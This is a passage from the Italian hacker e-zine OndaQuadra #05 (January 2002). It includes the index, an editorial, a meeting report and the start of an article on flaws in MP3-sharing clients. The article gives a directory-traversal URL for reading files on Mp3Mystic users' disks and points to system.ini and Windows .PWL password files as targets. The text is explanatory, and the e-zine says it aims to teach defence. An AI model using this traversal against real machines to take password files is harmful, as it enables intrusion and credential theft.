Copy Link
Add to Bookmark
Report
OndaQuadra 05
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
::::::::::::, .::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::,. i@@@@@@#. .:::::, .,:::::::::, ,rs: :: ,,,,,,,,;,:
::::::, r@@@@@@@@@@@@@; ,:: rM@@Hs. .:::::::. @@@i,:@@ ;@@@@@@@s.,:
:::::. 2@@@ :@@@@@@@H .:, @@@@@@@@@@: .:::::. s@@H @@# ;Mr ,::
:::: i@@@5 ,,, M@@@@@@r :,:@@@@@@@@@@@; ,:::, ;@@@ #@@S GH;AAA@@2 ,::
:::, A@@@@ :::::, @@@@@@@ :, #@@@@@@@@ :::, @@@, s@@A :@@@,,:::
::: .@@@@@ ,:::::. S@@@@@S :::, 5@@@@@@@@@: ,::, H@@ r@@9 , . ;@@@, ,::
::: i@@@@@h .::::. r@@@@r .::: @@@@@@@@@@@ ,:: @@:,@@@. @@i;r@@@A .:::
::: i@@@@@@B @@@@ .::, G@@@@@@@@@@@; ., ;r: . ,rSr, ,::::
::: @@@@@@@@@Gr,2@@@s ,::. r@@@@@@@@@@@@@@# .,...,,:::,,....,,:::::::
:::, .@@@@@@@@@@@@@, ,::, .@@@@@@@@@@@@@@@@@@@H ,::::::::::::::::::::::
::::, X@@@@@@r .::::: @@@@@@@@@@@@@@@@@@@@@@@5 ,:::::::::::::::::::::
::::::. .,::::, H@@@@@@@@@@@@@@@@@@@@@@@@# .::::::::::::::::::::
::::::::. ,:. @@@@@@@@@@@@@@@@@@@@@@@@@@@; .::::::::::::::::::
:::::. ;@@@@@@@@@@@i .. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .:::::::::::::::::
:::, @@@r .M@@@@@@@9 . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@s .::::::::::::::::
::. @@@H .,. @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r ,:::::::::::::::
:, ,@@@@ :::::. @@@@@@S , 9@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ :::::::::::::::
: @@@@2 ,::::::. ;@@@@@r :, 2@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,::::::::::::::
: 5@@@@H ::::::: .@@@@@ .:::, @@@@@@@@@@@@@@@@@@@@@@@@@H.3,,::::::::::::::
: H@@@@@r ,,,, 5@@@A ::::: @@@@@@@@@@@@@@@@@@@@@@@@@@2 ,::::::::::::::
: i@@@@@@@, @@@A ,:::::. @@@@@@@@@@@@@@@@@@@@@@@@@@@, :::::::::::::::
:. A@@@@@@@@@@@@@@5 ,:::::::, @@@@@@@@@@@@@@@@@@@@@@@@@@@2 :::::::::::::::
:: 2@@@@@@@@@X ,:::::, M@@;s@@,@@@@@@@@@@@@@@@@@@@; :::::::::::::::
:::, M@: .,,.A#AB@@@@; &@@@@@@@@@@@@@@@@@@ :::::::::::::::
:::, ;G@@@@@@@@@@@@@s. :r#@B25@@SH@@@@ 9@@@@@@@@@@@@@@@. .::::::::::::::
:::,;@@@@@@@@@@@@@@@@@@@@#; ,A@@rs@@@@@@@@@@@@@@. .:::::::::::::
:::, r@@@@@@@@@@@@@@@@A, .@@@@@@@@@@@@@@@B :::::,. ,::
::::::::::,. ,B@@@@@@@@@@@@@@@@#r ;G@@@@@@@@@@@: . A@h,::
:::::::::::::::,. :G@@@@@@@@@@@@@@@@@9: i@@@@@#. r@@@@@r ,::
::::::::::::::::::::,. rM@@@@@@@@@@@@@@@@@@9s 2@@@@@@M, ,:::
:::::::::::::::::::::::::,, .i#@@@@@@@@@@@@@@@@@@@@@@@S. ,,::::::
:::::::::::::::::::::::::::::::,,. .,:::::::::::
::::::::::::::::::::::::::::::::::::::,,,...............,,::::::::::::::::::
+--------------------------------------------------------------------------+
| ONDAQUADRA #05 - 14/01/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://ondaquadra.cjb.net |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 iNTR0 AL NUMER0 05 ................................... [oq ~ staff] |
| 0x02 CR0NACHE DAL BULK .................................... [oq ~ staff] |
| 0x03 RETR: LA P0STA Di 0Q ................................. [oq ~ staff] |
| 0x04 iPSE DiXiT ........................................... [oq ~ staff] |
| 0x05 MiSSi0N .............................................. [oq ~ staff] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x06 MP3 SHARiNG CLiENT VULNERABiLiTY ........................... [E4zy] |
| 0x07 SiCUREZZA FiSiCA DEi SiSTEMi ............................... [E4zy] |
| 0x08 PR0TEGGiAM0 iL N0STR0 SERVER ....................... [-=Quequero=-] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x09 iNTR0DUZi0NE ALL'iP MASQUERADiNG .................... [Master Kain] |
| 0x0A iP TABLES .................................................. [E4zy] |
| 0x0B R0UTiNG E ViAGGi0 Di PACCHETTi V 2.0 .................... [XanTHic] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x0C iN SHELL WE TRUST - PARTE 1 .................... [MigthyInquisitor] |
| 0x0D VPN - ViRTUAL PRiVATE NETW0RK ............................. [goony] |
| 0x0E LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0F C0RS0 Di C [PARTE QUARTA] ................................ [JEYoNE] |
| 0x10 0S FR0M ZER0 CHAPTER 2 ...................... [Alexander The Great] |
| 0x11 WiNS0CK e ViSUAL BASiC .............................. [Screener_it] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x12 GUiDA ALLA CRiTT0GRAFiA ................................ [SonGoten] |
| 0x13 CUTH .................................................... [warfare] |
| 0x14 Ti FACCi0 A FETTE L'ACCADi ................................ [bondo] |
| 0x15 i SiSTEMi 0PERATiVi iN P0CHi SEMPLiCi PASSAGGi .......... [BaBBeuZ] |
| 0x16 CRACKiNG iN WiNDOWS (TRADUZi0NE) ...................... [True-love] |
+--------------------------------------------------------------------------+
| [L0 SCiAMAN0] |
| 0x17 APELL0 ALL'0NU ............................................ [Erman] |
| 0x18 CAiN0 ViV0 0 M0RT0 ................................ [Bruno Franchi] |
| 0x19 UN GR0SS0 DUBBi0 ..................................... [Il Magnano] |
| 0x1A iNF0RMAZi0NE E C0N0SCENZA PER iL NU0V0 MiLLENNi0 . [Virgilio Violo] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x1B GUiDA SUL MiRC SCRiPTiNG [PARTE TERZA] .......... [[]_CyBeRPuNK_[]] |
| 0x1C GAB0LE iN iRC ..................................... [Xp Terminator] |
| 0x1D iNTERFACCiA GRAFiCA PER iL MEM0SERV ............... [Master^Shadow] |
| 0x1E i META TAGS .................................... [MightyInquisitor] |
| 0x1F SED ...................................................... [Domin3] |
| 0x20 0PERAZi0Ni iN C0NS0LE S0TT0 WiN32 ...................... [_d31m0s_] |
| 0x21 KRY0 ..................................................... [lesion] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x22 DiVAGAZi0Ni N0TTURNE .................................. [Malkavian] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x23 D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 WiNS0CK_e_VB.ZiP .................................... [Screener_it] |
| 0x02 SED.L0GiC.TXT ............................................ [Domin3] |
| 0x03 MSGUi.MRC ......................................... [Master^Shadow] |
| 0x04 CUTH.C .................................................. [warfare] |
| 0x05 iSWT1.TAR.GZ ................................... [MigthyInquisitor] |
| 0x06 C0NS0LEN.ASM ........................................... [_d31m0s_] |
| 0x07 C0NS0LET.ASM ........................................... [_d31m0s_] |
| 0x08 iPTABLES.TXT ............................................... [E4zy] |
| 0x09 BUGTRAQ-P0ST.TXT ........................................... [E4zy] |
| 0x0A KRY0.TGZ ................................................. [lesion] |
| 0x0B AR0M.EXE .................................... [Alexander The Great] |
+--------------------------------------------------------------------------+
<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| iNTR0 AL NUMER0 05 [oq ~ staff] 0x01/0x23 |
+--------------------------------------------------------------------------+
| |
| Cari lettori, |
| |
| Eccoci giunti al sesto numero di questa e-zine, proprio cosi', siamo al |
| numero #05! |
| Siamo ai primi giorni dell'anno 2002 e per cominciare con il piede |
| giusto vi abbiamo sfornato questo nuovo numero. |
| Questo editoriale e' quello che fra tutti porta piu' innovazioni, |
| cambiamenti e perfezionamenti nell'evoluzione di questo progetto che ad |
| ogni numero aumenta la sua popolarita'. |
| |
| Tanto per cominciare e' bene ribadire la filosofia che sta alla base del |
| progetto stesso: |
| |
| "OndaQuadra e' un progetto fondato da JEYoNE e da Tritemius. E' formato |
| e portato avanti, oltre che dai membri che compongono lo staff, dagli |
| scrittori e da coloro che ci sostengono moralmente, ovvero VOI!" |
| |
| Ci teniamo a ribadire questo perche' e' successo che alcuni ci hanno |
| posto domande del tipo: |
| "OQ e' una crew ristretta?", "OQ da quanti membri e' formata?", "come |
| faccio per entrare?" e via scorrendo... |
| |
| Detto questo cominciamo con le novita', che non sono poche! |
| |
| Come alcuni di voi gia' sapranno, e' in fase di sviluppo il portale di |
| OndaQuadra, eh si avete letto bene, non piu' una semplice pagina in |
| html, ma un vero e proprio angolo digitale dedicato esclusivamente |
| all'e-zine e usufruibile e visitabile da tutti! |
| E' ancora in fase di perfezionamento quindi per l'uscita di questo |
| numero non sara' pronto. |
| Lo stiamo realizzando con le nuove tecnologie messeci a disposizione da |
| gente che ne sa sicuramente piu' di noi, ovvero con il PHP e con il |
| database MySQL...insomma un buon presagio per un portale dinamico, che |
| ne pensate? |
| Tutto questo facilitera' notevolmente la lettura degli articoli on-line, |
| l'archiviazione degli stessi, il post di messaggi nel forum, la gestione |
| della mailing list, i contatti tra i lettori, gli scrittori e noi dello |
| staff e cosi' avanti... |
| |
| Per quanto riguarda la versione standard dell'e-zine, quella nel formato |
| txt, abbiamo deciso che oltre a comprimerla nel solito formato oqXX.zip |
| (ormai decomprimibile anche con il comando 'unzip oqXX.zip' dalla shell |
| di sistemi Unix like), la comprimeremo anche come oqXX.tar.gz, formato |
| sicuramente piu' simpatico ai Linuxiani. |
| Oltretutto ci saranno diversi archivi da poter scaricare, il primo e |
| completo oqXX.estensione che conterra' la rivista in formato txt e gli |
| allegati, il secondo oqXXtxt.estensione che conterra' soltanto la |
| rivista in formato txt e il terzo, oqXXatt.estensione che conterra' solo |
| gli allegati. |
| Questo perche' siamo venuti a conoscenza che alcuni lettori leggono OQ |
| senza tener conto degli allegati, e quindi perche' appesantire |
| l'archivio quando si puo' scaricare solo il testo? |
| |
| Un'altra novita' di molto rilievo e' sicuramente il fatto che abbiamo |
| deciso di rendere la rivista completamente aperiodica, ovvero senza una |
| data di uscita piu' o meno stabile come e' stato finora. |
| Questa scelta e' dovuta principalmente al fatto che marcare l'uscita |
| ogni due (o tre che siano) mesi in anticipo e' un fattore che tende a |
| mettere fretta agli autori nella stesura dei propri articoli, ma |
| soprattutto che da un gran da fare a noi dello staff e visto che |
| preferiamo (almeno cerchiamo di preferire) la qualita' alla rigidita' |
| siamo giunti a questa decisione. |
| Spero la condividiate, altrimenti mandateci una mail e fateci sapere |
| come la pensate a riguardo! |
| |
| Altra innovazione che molti di voi avranno notato e' l'impaginazione |
| dell'e-zine, ebbene si, finalmente ci siamo dati un tono e siamo giunti |
| a un buon livello di impaginazione; non piu' come nei primissimi numeri |
| dove un testo poteva avere fino a 150 (o addirittura di piu') caratteri |
| per riga. |
| Nello scorso numero (#04) l'e-zine era impaginata a 80 caratteri, mentre |
| da questo numero e' impaginata a 76 caratteri, pipe '|' e spazi ' ' |
| compresi. Questa decisione l'abbiamo presa per rendere piu' semplice la |
| lettura on-line da parte di chi ha un monitor con risoluzione inferiore |
| alla 1024x768, vale a dire 800x600 o addirittura 640x480 pixel in modo |
| da rendere OndaQuadra un progetto aperto, ancora una volta, a tutti, |
| bello, con uno schema fisso, ma allo stesso tempo con un look flessibile |
| a ogni esigenza dei lettori! |
| Per tutti i lettori che utilizzano un palmare per leggerci (spiacente |
| +MaLaTTiA :P) non c'e' niente da fare, non credo che riusciremo a fare |
| anche la versione a 33 caratteri. |
| |
| Ora, ai lettori piu' attenti, potrebbe venire un dubbio: |
| "Ma se l'e-zine e' cosi' ben impaginata, i sorgenti che riportate |
| all'interno degli articoli piu' tecnici, me li devo ricostruire a mano |
| togliendoci tutti i pipe, gli spazi e riformattando le righe che |
| superano i 72 caratteri di testo effettivo per poterli testare?" |
| Semplice, a questo problema abbiamo ovviato, dove possibile, aggiungendo |
| al file allegati.estensione i sorgenti in questione pronti per essere |
| testati o quanto meno studiati! |
| |
| L'ultimo meeting di OndaQuadra si e' svolto nelle giornate di sabato 15 |
| e domenica 16 dicembre 2001 al BULK, ovvero lo stabilimento dove ha sede |
| il LOA, cioe' l'HackLab di Milano. |
| Cogliamo l'occasione per ringraziare infinitamente i LOAniani per la |
| fredda accoglienza (a causa del clima, cosa pensavate... ;)) e per |
| l'enorme ospitalita' che ci hanno dato. |
| Un ringraziamento particolare a c1cc1o e a bomboclat per essersi |
| impegnati a far si che questo incontro fra noi di OQ e loro, LOAniani, |
| abbia preso vita. |
| Un altro ringraziamento a tutti coloro che hanno preso la parola e che |
| hanno partecipato al seminario sul kernel tenutosi, sempre presso il |
| BULK, nella giornata di domenica 16. Siete forti ragazzi, ottimi i talk |
| e le risposte a tutte le domande, continuate cosi'!!! |
| |
| Purtroppo e' giunta l'ora di parlare di una notizia al quanto sgradevole |
| a tutti; ovvero del rippaggio di alcuni articoli comparsi sullo scorso |
| numero...si avete capito bene, proprio cosi'. Ci e' giunta voce, da piu' |
| persone, che alcuni testi sono stati rippati e spacciati per propri da |
| coloro i quali li hanno firmati e inviati a noi. Abbiamo provveduto a |
| controllare la fonte dell'articolo e l'articolo rippato apparso |
| sull'e-zine e le voci, almeno questa volta, erano fondate! |
| Ora, noi della redazione non intendiamo entrare in ambito di un discorso |
| etico, anche perche' richiederebbe piu' tempo e non e' questa la sede, |
| ma ci sembra del tutto scorretto quest'atteggiamento a dir poco |
| anti-etico e ben poco morale quindi da ora in poi tutti gli articoli che |
| ci manderete subiranno un controllo piu' approfondito sull'originalita' |
| e se riterremo che siano, anche in parte, rippati non li pubblicheremo. |
| Questa e' una decisione inapellabile ed e' stata presa per la |
| salvaguardia dell'originalita' e del buon nome dell'e-zine, del suo |
| staff e dei suoi scrittori autentici. |
| Coloro i quali ci hanno mandato e coloro i quali ci manderanno articoli, |
| anche in parte, rippati (senza i riferimenti dell'originalita' del pezzo |
| di testo) non vedranno piu' apparire nessun "loro" articolo su questa |
| e-zine! Speriamo di essere stati chiari, certo pero' e' da tener |
| presente, che dato che negli ultimi tre anni in Italia sono nate |
| svariate e-zine e molti nuovi scrittori, il controllo della qualita' |
| sugli articoli non e' certo una cosa semplice da fare per noi dello |
| staff quindi se voi lettori vi accorgete di eventuali rippaggi nei testi |
| pubblicati sui prossimi numeri dell'e-zine, siete pregati di rendercelo |
| noto via mail o in irc, ve ne saremo davvero grati. |
| |
| Bene, anche questo editoriale e' concluso, non ci resta altro che |
| augurare una buona lettura a tutti, approfittando anche per augurare un |
| felice e sereno 2002! |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| CR0NACHE DAL BULK [oq ~ staff] 0x02/0x23 |
+--------------------------------------------------------------------------+
| |
| Il meeting di OndaQuadra si e' tenuto a Milano nelle giornate di sabato |
| 15 e domenica 16 dicembre e non ha avuto un afflusso di gente come si |
| era pensato all'inizio. |
| Hanno preso parte a questa iniziativa JEYoNE, Sensos, E4zy, xian, TheMR, |
| embyte, io (MightyInquisitor), goony, bitflesh, _FlatMary_ e xyzzy piu' |
| tutti i LOAniani, ovvero i facenti parte del LOA HackLab di Milano che |
| ha sede in Via Nicolini presso lo stabilimento BULK. |
| |
| SABAT0 15 DiCEMBRE |
| Alle 11.00 circa ci siamo incontrati io (MightyInquisitor), E4zy, JEYoNE |
| e TheMR nel centro di Milano, siamo passati a casa di uno di noi a |
| recuperare del "materiale" (!!!) e ci siamo recati al BULK dove ci siamo |
| incontrati con goony. Erano gia' le 13.00 e il nostro stomaco |
| brontolava, quindi ci siamo messi alla ricerca del McDonalds piu' vicino |
| e quando ci siamo arrivati, abbiamo finalmente riempito lo stomaco! |
| Dopo aver "pranzato" ci siamo rediretti al BULK e nel percorso abbiamo |
| incontrato un losco personaggio di nome bitflesh che si e' unito a noi |
| in questa fredda camminata (quasi) invernale. |
| Arrivati al BULK si e' unito a noi xyzzy e finalmente siamo entrati. |
| Wow, che bel posto, davvero bello, un po' freddino, ma bello. |
| Dopo un po' sono arrivati xian, Sensos, embyte e _FlatMary_. |
| Fino a sera siamo rimasti la' al cazzeggio con i LOAniani. |
| Bene, arrivata ora di cena (finalmente si mangia di nuovo...) siamo |
| andati per una via mezza buia (sembrava di essere a China Town!) in un |
| ristorante (se cosi' si puo' chiamare) "poco accogliente", quindi |
| qual'e' stata la nostra azione subito dopo che ci siamo seduti? |
| Semplice, ci siamo alzati e ce ne siamo andati. |
| Alla ricerca di un posto caldo dove sedersi e mangiare, siamo capitati a |
| due passi dal ristorante in un bel ristorantino cinese molto piu' |
| accogliente. |
| Ecco, qui e' cominciata la lunghissima disquisizione riguardo il futuro |
| di OndaQuadra. Sono emersi un sacco di progetti nuovi quali il futuro |
| portale dell'e-zine e la nuova impaginazione dell'e-zine stessa. |
| In un batter d'occhio si era fatto tardi, era mezzanotte quindi ci siamo |
| auto-cacciati dal ristorante alla volta della casa di uno di noi: |
| finalmente un posto davvero caldo, caminetto a legna rulez ;) !!! |
| Qui siamo rimasti (tanto per cambiare...) a parlare di OndaQuadra fino |
| alle 3.20, ora letale per me, ho cominciato a delirare, non ce la facevo |
| piu' quindi, prima che mi prendessero a calci, me la sono squagliata |
| sotto le coperte. |
| Gli altri acari se ne sono rimasti svegli ancora un po', poi tutti a |
| letto, chi in albergo e chi in questa casa calda. |
| |
| DOMENiCA 16 DiCEMBRE |
| La mattina seguente il buon vecchio JEYoNE mi ha svegliato alle 11.00, |
| che bella dormita, ero davvero stanco, "ero ACCES0 da 25 ore..."!!! |
| Ci si lava, si fa colazione e sgattaioliamo in auto alla volta |
| dell'albergo dove alloggiavano il signor xian e il signor E4zy. |
| E' gia' ora di pranzo e cosa si fa? |
| Si cerca un posto dove mangiare nei pressi del BULK. Stavolta capitiamo |
| in una pizzeria...mmm che buona la pizza, e di nuovo giu' a parlare di |
| OndaQuadra. Si fanno le 14, andiamo al BULK e ci incontriamo con |
| bitflesh che era gia' la che ci aspettava smanettando su una "bella" Red |
| Hat 7.1! |
| Cazzeggiamo una mezz'oretta e comincia il seminario sul kernel |
| nell'altra sala del LOA: la HACKLEASS! Bel nome vero?!?!?! |
| Arrivano poi anche TheMR e embyte e continuiamo tutti, chi piu', chi |
| meno, a seguire i vari talk. |
| Ottimo lavoro, davvero un bel seminario, ci voleva. |
| Sono ormai le 17. E' ora di lasciarci. Salutiamo e ringraziamo come si |
| deve tutti i LOAniani e ce ne andiamo. |
| Purtroppo ci si saluta anche tra di noi con la speranza di rivederci il |
| prima possibile... |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| RETR: LA P0STA Di 0Q [oq ~ staff] 0x03/0x23 |
+--------------------------------------------------------------------------+
| |
| Purtroppo per un problema tecnico (ci si e' fottuto un disco!) su |
| questo numero non ci saranno le risposte alle mail dei lettori. |
| Ci dispiace perche' c'erano alcune domande interessanti, anzi proprio |
| per questo la redazione invita tutti i lettori che hanno inviato una |
| mail a mail@ondaquadra.cjb.net a riscriverci. |
| La prossima volta ci impegneremo ad effettuare un backup della mail |
| ricevute! :) |
| Un saluto a tutti, il vostro postino. |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| iPSE DiXiT [oq ~ staff] 0x04/0x23 |
+--------------------------------------------------------------------------+
| |
| "E' piu' facile trovare un amministratore di sistema cretino che |
| un hacker intelligente" |
| Andrea Aparo |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #05 - 14/01/2002 |
| MiSSi0N [oq ~ staff] 0x05/0x23 |
+--------------------------------------------------------------------------+
| |
| OndaQuadra, l'inaudito battito elettronico di cui avvertiamo |
| l'esistenza quando il bagliore del monitor ci illumina, e |
| l'informazione trasportata dalla luce si proietta giu' nella |
| nostra coscienza. |
| |
| OndaQuadra vuole trovare la Bellezza nei cicli di clock, la |
| Poesia tra i datagrammi, e come l'albatro di Baudelaire e' |
| incurante degli scherni. |
| |
| OndaQuadra e' la volonta' di fuggire dall'alienazione industriale |
| e dallo sradicamento metropolitano, dalla solitudine esistenziale |
| dell'epoca che conosce il prezzo di tutto e il valore di nulla, |
| l'epoca in cui abbiamo tutto ma abbiamo perso noi stessi. |
| |
| Un tuffo nella realta' digitale come una Catarsi, dalla quale |
| riemergere trasfigurati, pronti a intrecciare nuovi rapporti umani |
| piu' veri della realta' mediocre e banale che il destino ci riserva. |
| |
| L'OndaQuadra e' quindi un sogno da affrontare con umilta' e |
| meraviglia, rinunciando ai pregiudizi e ai luoghi comuni, camminando |
| verso il sole, facendo cadere le ombre dell'insulsa polemica e |
| dell'invidia alle nostre spalle. |
| |
| OndaQuadra, l'urlo del nostro cuore di silicio! Un urlo assordante, |
| un monito tremendo ai nemici della liberta', del sopruso, della |
| prepotenza, nel ciberspazio e nella vita reale. |
| |
| Straordinari sono gli strumenti che la tecnologia ci mette a |
| disposizione. |
| Possibilita' infinite di comunicazione. Facciamo che questi |
| strumenti servano per creare una nuova visione del mondo. Utopia e |
| realismo, sogno e concretezza. Iniziamo Noi, qui e ora, ad ascoltare, |
| e ad aiutare in modo disinteressato chi non conosce questo mondo, |
| a non farlo sentire un idiota, un emarginato. |
| |
| Che miseria, la divisione tra clan, tra fazioni. Misero chi |
| cerca un nuovo potere nel ciberspazio! Nuovi sacerdoti, con |
| paraocchi infiniti e cravatte mentali, tornate nei vostri templi, |
| nelle accademie. Nuovi burocrati, conquistadores, qui non |
| siete graditi. |
| Cosi' come non sono graditi i furfanti, i teppisti, gli arrivisti, i |
| fanatici di tutte le risme, gli autoritari, gli amanti delle grandi |
| firme e delle cose per gente di un certo livello. |
| |
| OndaQuadra aspetta chi vuole lavorare, creare, giocare con entusiasmo, |
| chi vede nella tecnologia la possibilita' di un uso non banale; chi |
| non vuole servire le macchine, ma vuole servirsene per rendere meno |
| idiota la propria permanenza sul globo terracqueo; chi comprende |
| che l'infosfera ha un'importanza chiave nel nostro futuro, dal punto di |
| vista sociale e culturale. |
| |
| Questa e' OndaQuadra. E molto altro: cosa,devi dirlo Tu lettore, con |
| le tue idee, con la tua voglia di partecipare, di metterti in gioco, |
| di rischiare. Con la tua volonta' di combattere quei polli che si |
| credono aquile che fanno di tutto per controllarti, per esercitare il |
| loro misero potere, per distruggere i tuoi sogni. |
| |
| Noi apparteniamo alla stirpe dei senza re: scivoliamo nella Rete come |
| ombre, traiamo ispirazione dal lampeggio del cursore, conosciamo il |
| sistema nervoso della modernita', ascoltiamo l'urlo assordante e |
| silenzioso del cuore di silicio, la fuori e dentro di noi: OndaQuadra! |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #05 - 14/01/2002 |
| MP3 SHARiNG CLiENT VULNERABiLiTY [E4zy] 0x06/0x23 |
+--------------------------------------------------------------------------+
| |
| Indice: |
| |
| 1. Intro |
| |
| 2. Mp3Mystic |
| 2.1 Double Dot Bug |
| 2.2 Exploit |
| 2.3 Log file |
| 2.4 Fix |
| |
| 3. Gnutella |
| 3.1 HTML Tags Vulnerability |
| 3.2 Exploit |
| 3.3 Fix |
| |
| 4. Audiogalaxy |
| 4.1 Clear Text Password |
| 4.2 Exploit |
| 4.3 Fix |
| |
| 5. Napster |
| 5.1 String Format Attack |
| 5.2 Bugtraq Post |
| 5.3 Fix |
| |
| 6. Morpheus |
| 6.1 Denial of Service |
| 6.2 Client Information |
| 6.3 Fix |
| |
| 7. Risorse |
| |
| |
| 1. Intro |
| Dal 27 luglio 2000, data di chiusura di Napster, nulla e' piu' stato |
| uguale a prima, la rete e' stata invasa da un numero non ben precisato |
| di software cloni del programma Napster che da qualche tempo ha smesso |
| di cantare :( |
| Con l'esponenziale aumento di questi tool che permettono la condivisione |
| di brani musicali in formato mp3 sono cresciute di pari passo le |
| vulnerabilita' che affliggono molti di questi programmi. |
| Addentriamoci a questo punto nell'analisi dei potenziali rischi |
| associati ad alcuni di questi programmi. |
| Le vulnerabilita' qui di seguito descritte fanno riferimento ai post |
| originali comparsi su Bagtraq qualche tempo fa, lo scopo del presente |
| articolo consiste nella descrizione delle tecniche che permettono di |
| sfruttare ed eliminare i problemi derivanti da un uso di un software non |
| sicuro. |
| |
| 2. Mp3Mystic |
| Easy to hack, flexible, free Personal Streaming music server :D Si |
| tratta di un vero e proprio personal web server per Windows9x che |
| permette di fornire un servizio di condivisione e streaming di file mp3 |
| verso la rete Internet. |
| |
| 2.1 Double Dot Bug |
| Un utente remoto e' in grado di risalire la cartella condivisa e |
| sfogliare l'intero HD al file di prelevare dati riservati dell'utente. |
| |
| 2.2 Exploit |
| E' possibile risalire le directory remote riferendosi alla directory |
| genitore attraverso l'url (../), questo ci consente l'accesso in lettura |
| sull'intero HD remoto, esempio: |
| |
| http://127.0.0.1/../file |
| inserendo tale url nel vostro browser vi connetterete all'utente con IP |
| address 127.0.0.1, che in questo caso rappresenta l'interfaccia di |
| loopback del sistema locale, e sarete in grado di scaricare il file di |
| nome "file" che si trova nella directory genitore. |
| Una puntualizzazione dovuta, il numero di ../ necessari all'interno |
| dell'url dipende dalla directory condivisa dall'utente remoto, ogni ../ |
| corrispondera' a risalire di una directory genitore l'albero del |
| filesystem remoto. |
| I piu' attenti si saranno accorti che affinche' tale operazione abbia |
| successo e' necessario essere a conoscenza del path(1) relativo del file |
| che vogliamo scaricare, in quanto il programma ci permette di |
| visualizzare l'albero delle directory sul sistema remoto ma non i file |
| che non rispondano alle specifiche del formato mp3. |
| |
| (1)path: percorso di un file o di una directory, esso puo' essere |
| assoluto (es. c:\windows) oppure relativo (es. ..\windows) |
| |
| Ecco l'elenco dei file che ritengo a rischio in caso di intrusione: |
| |
| System.ini: |
| Contiene dati sensibili riguardo alla configurazione del sistema tra cui |
| il percorso assoluto dei file delle password di Windows che possono in |
| tal modo essere prelevati. |
| |
| |
| ----------- System.ini ----------- |
| |
| [boot] |
| system.drv=system.drv |
| drivers=mmsystem.dll power.drv |
| shell=Explorer.exe |
| user.exe=user.exe |
| gdi.exe=gdi.exe |
| sound.drv=mmsound.drv |
| dibeng.drv=dibeng.dll |
| comm.drv=comm.drv |
| mouse.drv=lmouse.drv |
| keyboard.drv=keyboard.drv |
| |
| .... |
| |
| [Password Lists] |
| USER=C:\WINDOWS\USER.PWL |
| |
| ----------- System.ini ----------- |
| |
| Pwl Files: |
